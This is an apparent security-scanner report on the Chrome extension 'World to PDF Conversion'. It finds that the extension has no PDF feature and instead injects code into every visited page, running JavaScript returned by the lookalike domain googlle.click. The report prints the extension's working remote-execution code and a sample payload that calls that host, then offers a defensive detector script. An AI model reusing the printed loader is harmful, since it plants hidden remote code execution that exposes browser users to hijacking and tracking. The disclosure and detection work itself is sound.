Is World to PDF Conversion safe?

High risk

World to PDF Conversion injects code into every page you visit and runs JavaScript sent back by a lookalike domain.

On every completed page load in your active tab, the extension's background service injects jQuery and sends a request to googlle.click, a domain designed to look like Google. If the server returns a new update ID, the extension runs the accompanying JavaScript code directly in that tab. The extension has no PDF conversion functionality of its own; its only user-facing feature is a link to a third-party site, smallpdf.com.

Strong link to a flagged operator: 1 of the 1 other listing from the same operator is rated high or critical for malicious behavior. Flagged: Photoshop Online (critical).

77Risk
Who publishes it

admin - 1 other listing from the same operator, 1 of them carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
admin

Same store account

1 other listing published from this account, 1k+ users between them. 1 of them carries a finding.

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

World to PDF Conversion runs code sent by a typosquat of google.com

Code analysis shows the extension injects jQuery into every site you visit and runs JavaScript returned by googlle.click, a domain mimicking google.com.

The advertised PDF conversion feature exists nowhere in the code.

Severity
Critical unwanted
Type
Unexpected
CWE
CWE-506
Source
Static analysis
What actually happens
You did this

You finish loading any website in your active browser tab.

The extension has host permissions for every site, not just PDF-related ones.

The extension did this

The extension injects jQuery into that page, then requests and can run JavaScript returned by a remote server.

The advertised 'World to PDF' conversion tool has no code path anywhere in the extension; the only working control in its popup links out to smallpdf.com.

What the remote server can see and control
  • Your IP address
    POST https://googlle.click/worldtopdf/worldtopdf.php

    The check-in request exposes your device's IP address, like any web request, letting the operator see where it came from.

  • A per-device tracking ID
    {"id": "4471"}

    The server's reply includes an id the extension caches, letting the operator recognize your device on later check-ins.

  • JavaScript that runs on your page
    {"javascriptCode": "fetch('https://googlle.click/c')"}

    The server's response can include a javascriptCode string, which the extension runs directly in whatever page you currently have open.

The code that does this

The remote code execution path in background.js

Readable version
// Runs on every completed navigation of the active tab, on any sitechrome.tabs.onUpdated.addListener((tabId, changeInfo, tab) => {  chrome.storage.local.get(["id"]).then((result) => {    run(tabId, changeInfo, tab, result.id);  });});function run(tabId, changeInfo, tab, cachedId) {  cachedId = cachedId ?? 0;  // Only fires once the page has finished loading and is the tab in front  if (changeInfo.status !== 'complete' || !tab.active) return;  chrome.tabs.query({ active: true, currentWindow: true }, (tabs) => {    if (tabs.length === 0) return;    // Step 1: inject jQuery into the page you're currently looking at    chrome.scripting.executeScript({      target: { tabId: tabs[0].id },      files: ["/assets/js/jquery.min.js"],    }).then(() => {      // Step 2: run a function, INSIDE that page, that fetches instructions      chrome.scripting.executeScript({        target: { tabId: tabs[0].id },        func: (config, cachedId) => {          let lastSeenId = "";          $.ajax({            url: config.apiUrl, // https://googlle.click/worldtopdf/worldtopdf.php            method: "POST",            async: false,            dataType: "json",            success: (obj) => {              // If the server hasn't shown you this id before...              if (cachedId != obj.id) {                // ...run whatever code it sent, verbatim, in this page                setTimeout(obj.javascriptCode, 1);              }              lastSeenId = obj.id;            },          });          return lastSeenId;        },        args: [config, cachedId],      }).then((response) => {        // Step 3: remember this id so the same code isn't sent twice        chrome.storage.local.set({ id: response[0].result });      });    });  });}
Check if you're affected

Scans a Chrome extension's unpacked source for the setTimeout(remoteVariable) pattern this extension uses to run server-supplied code, so you can check whether another extension shares the same mechanism.

Requires
  • Node.js 14+
detect-remote-eval.js · js
#!/usr/bin/env node// Walks an unpacked extension directory looking for setTimeout()/setInterval()// calls whose first argument is a variable rather than a function literal or// named function reference. That pattern means whatever string is stored in// the variable gets evaluated as code, and if the variable was assigned from// a network response, that code came from wherever the request went.const fs = require('fs');const path = require('path');const CALL_RE = /\b(setTimeout|setInterval)\s*\(\s*([A-Za-z_$][\w$.]*)\s*,/g;function walk(dir, out) {  for (const entry of fs.readdirSync(dir, { withFileTypes: true })) {    const full = path.join(dir, entry.name);    if (entry.isDirectory()) {      walk(full, out);    } else if (entry.isFile() && /\.js$/i.test(entry.name)) {      const text = fs.readFileSync(full, 'utf8');      let match;      while ((match = CALL_RE.exec(text)) !== null) {        const line = text.slice(0, match.index).split('\n').length;        out.push({ file: full, line, callee: match[1], arg: match[2] });      }    }  }}const target = process.argv[2];if (!target) {  console.error('usage: node detect-remote-eval.js /path/to/unpacked-extension');  process.exit(1);}const hits = [];walk(target, hits);if (hits.length === 0) {  console.log('No setTimeout/setInterval calls with a variable first argument found.');} else {  console.log(`Found ${hits.length} call(s) worth reviewing by hand:\n`);  for (const h of hits) {    console.log(`${h.file}:${h.line}  ${h.callee}(${h.arg}, ...)`);  }  console.log('\nA hit here does not by itself prove remote code execution: check');  console.log('where the variable is assigned. If it comes from an HTTP response');  console.log('body (fetch/XHR/$.ajax success handler), the server controls what');  console.log('code runs in the page.');}
How to run it
  1. 1node detect-remote-eval.js /path/to/unpacked-extension
Where the check-in goes
    • googlle.click

    Receives the per-page check-in and returns the id/javascriptCode payload. The domain name is a typosquat of google.com (extra 'l'); it is not owned by or affiliated with Google.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

Where it sends data

Destinations our analysis observed World to PDF Conversion contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • googlle.click

    World to PDF Conversion sends data to googlle.click. One other extension we have analyzed sends data here.

Updated 15 October 2026fhepcmkjbojmhjcficennjompnknidbm